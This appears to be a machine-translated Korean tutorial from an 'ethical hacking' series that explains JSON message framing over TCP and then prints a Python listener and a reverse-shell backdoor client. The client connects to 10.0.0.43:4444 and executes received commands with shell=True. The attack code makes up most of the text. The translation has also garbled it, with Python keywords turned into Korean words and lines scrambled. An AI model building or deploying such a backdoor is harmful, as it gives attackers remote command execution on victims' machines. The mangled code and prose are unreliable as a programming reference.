파이썬 윤리적 해킹 - 백도어 (3)

백도어 소켓

문제:

  • TCP는 스트림 기반이다.
  • 어려운 메시지 / 배치의 끝을 식별합니다.

해결책:

  • 메시지가 잘 정의되어 있는지 확인합니다.
  • 및 전송 방법에 따르는 수신하는 프로토콜을 구현한다.
    • 헤더로 메시지의 크기를 보냅니다.
    • 각 메시지의 끝에 최종의 메시지 표시를 추가합니다.
    • 메시지를 직렬화합니다.

백도어 직렬화

혜택:

  • 메시지는 물론 메시지가 불완전한 경우 수신기는 알고, 정의된다.
  • (... 등 목록, dicts) 객체를 전송하는 데 사용할 수 있습니다

이행:

  • JSON과 피클은 일반적인 솔루션입니다.
  • JSON (JavaScript Object Notation)은 많은 프로그래밍 언어로 구현된다.
  • 텍스트 등의 개체를 나타냅니다.
  • 클라이언트와 서버간에 데이터를 전송할 때 널리 사용된다.

 

 

 서버 측 - 리스너 코드 :

# !는 / usr / 빈 / ENV 파이썬 
수입 소켓
 수입 JSON의 


클래스 리스너 :
     데프  __init__ (자동, IP, 포트) : 
        리스너 = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 
        listener.setsockopt (socket.SOL_SOCKET, 소켓. SO_REUSEADDR, 1 ) 
        listener.bind (IP (포트)) 
        listener.listen (0) 
        인쇄 ( " [+] 들어오는 연결 대기 " ) 
        self.connection 주소 = listener.accept ()
         인쇄 ( " [+] 당함 에서 연결" + STR (주소)) 

    고화질 (자기 데이터를 reliable_send) : 
        json_data = json.dumps (데이터) 함수 .encode () 
        self.connection.send (json_data) 

    데프 자기 (reliable_receive) : 
        json_data = " " 
        동안 참 :
             시도 : 
                json_data = json_data + self.connection.recv (1024 ) .decode ()
                 반환 json.loads (json_data)
             을 제외하고 ValueError를 :
                 계속 

    데프 execute_remotely (자기 명령) : 
        self.reliable_send (command.decode ())
        반환 self.reliable_receive ()를 

    데프 (자기를) 실행
         하는 동안 진정한 : 
            명령 = 입력 ( " >> " ) 함수 .encode () 
            결과 = self.execute_remotely (명령)
             인쇄 (결과) 


my_listener = 리스너 ( " 10.0.0.43 " , 4444 ) 
my_listener.run ()

클라이언트 측 - 백도어 코드 :

# !는 / usr / ENV 파이썬 / 빈 
수입 json으로
 수입 소켓
 수입 서브 프로세스 


클래스 백도어 :
     데프  __init__ (자동, IP, 포트) : 
        self.connection = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 
        self.connection.connect ( (IP를 포트)) 

    DEF : (자기, 데이터) reliable_send 
        json_data = json.dumps (데이터) 함수 .encode () 
        ) self.connection.send (json_data를 

    DEF ) 자기 (reliable_receive : 
        json_data = "" 
        동안 참 :
             시도 :
                json_data = json_data + self.connection.recv (1024 ) .decode ()
                 반환 json.loads (json_data)
             을 제외하고 ValueError를 :
                 계속 

    데프 execute_system_command (자기 명령) :
         리턴 subprocess.check_output (명령, 쉘 = True)로 

    데프 실행 (자기 )
         동안 트루 
            명령 = self.reliable_receive () 
            command_result = self.execute_system_command (명령) 
            self.reliable_send (command_result.decode ()) 
        의 Connection.close () 


my_backdoor= 백도어 ( 10.0.0.43  , 4444 ) 
my_backdoor.run ()

결과를 실행합니다 :

 

 

#!는 / usr / 빈 / ENV pythonimport jsonimport socketimport 서브 프로세스

수준의 백도어 : 데프 __init __ (자동, IP, 포트) : self.connection = socket.socket (socket.AF_INET, socket.SOCK_STREAM) self.connection.connect ((IP, 포트))
    고화질 (자기 데이터를 reliable_send) : json_data = json.dumps (데이터) 함수 .encode () self.connection.send (json_data)
    데프 자기 (reliable_receive) : json_data = ""동안 참 : 시도 : json_data = json_data + ValueError를 제외하고 self.connection.recv (1024) .decode () 반환 json.loads (json_data) : 계속
    데프 execute_system_command (자기 명령) : 리턴 subprocess.check_output (명령, 쉘 = 참)
    데프 (자동) 실행하는 동안 진정한 : 명령 = self.reliable_receive () command_result = self.execute_system_command (명령) self.reliable_send (command_result.decode ())의 Connection.close ()

my_backdoor = 백도어 ( "10.0.0.43", 4444 ) my_backdoor.run ()

 

추천

출처www.cnblogs.com/keepmoving1113/p/11628693.html